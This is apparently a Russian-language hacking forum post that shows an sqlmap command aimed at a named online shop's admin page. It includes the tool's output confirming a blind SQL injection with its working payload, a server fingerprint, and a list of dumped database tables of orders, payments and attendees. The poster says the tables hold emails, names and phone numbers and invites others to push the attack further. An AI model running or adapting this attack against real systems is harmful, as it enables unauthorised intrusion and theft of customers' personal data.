У вас должно быть более 50 реакций для просмотра скрытого контента.
[CLIKE]sqlmap -u "https://shop.guess.net.au/admin/objectmaintenance/objectupdate.asp" --random-agent --data="fHtmlEditor38707913&odpid=&page=&filter=&catid=&websiteid=1001172&step=all&orderbycolumn=&func=¶meters=https://shop.guess.net.au/www/615/1...id=new&approvenow=false&formportletid=3993872" --batch --threads=10 --level 2 --risk 1 --dbs
Код:
[CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: formportletid (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: formname=fHtmlEditor38707913&odpid=GCng&page=&filter=uAze&catid=&websiteid=1001172&step=all&orderbycolumn=uNXh&func=¶meters=https://shop.guess.net.au/www/615/1001172/displayarticle/4363910.html&newobjectid=SOhG&filestoupload=false&SkipExists=false&SkipImageSize=false&ImageWidth=PAYU&extformid=False&partnerloginid=PwQ/&intemailid=3994475&intformid=True&_1000386_0=gmNK&_1000387_0=&_1000388_0=iDMQ&_1000389_0=&_1000390_0=rVMV&cyclestepid=183&objecttypeid=1000049&passobjectid=new&approvenow=false&formportletid=(SELECT (CASE WHEN (4618=4618) THEN 3993872 ELSE (SELECT 7594 UNION SELECT 6449) END))
---
[INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2016
web application technology: Microsoft IIS 10.0, ASP
back-end DBMS: Microsoft SQL Server 2016
[/CLIKE]
Код:
Database: StJohn_Exact
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| dbo.PFEX_POrder_Detail | 101596 |
| dbo.PFEX_POrder_Detail_New | 101596 |
| dbo.PFEX_Enrolments | 66500 |
| dbo.PFEX_Attendee | 66435 |
| dbo.PFEX_Payment_Detail | 64355 |
| dbo.PFEX_POrder | 64355 |
| dbo.PFEX_Partner | 42134 |
| dbo.PFEX_Partner_New | 42134 |
| dbo.[PFEX_Partner-bak20161205] | 12231 |
| dbo.Classes | 848 |
| dbo.Product_SOH | 297 |
| dbo.Course | 2 |
| dbo.Venue | 2 |
| dbo.PFEX_Attendee_New | 1 |
| dbo.PFEX_Enrolments_New | 1 |
| dbo.PFEX_Payment_Detail_New | 1 |
| dbo.PFEX_POrder_New | 1 |
| dbo.sysdiagrams | 1 |
+--------------------------------+---------+
Там в таблицах майлы, имена, номера телефонов.
Судя по тому, что знаю про mssql раскрутить шоп дальше не удалось. Если кто сможет - велком.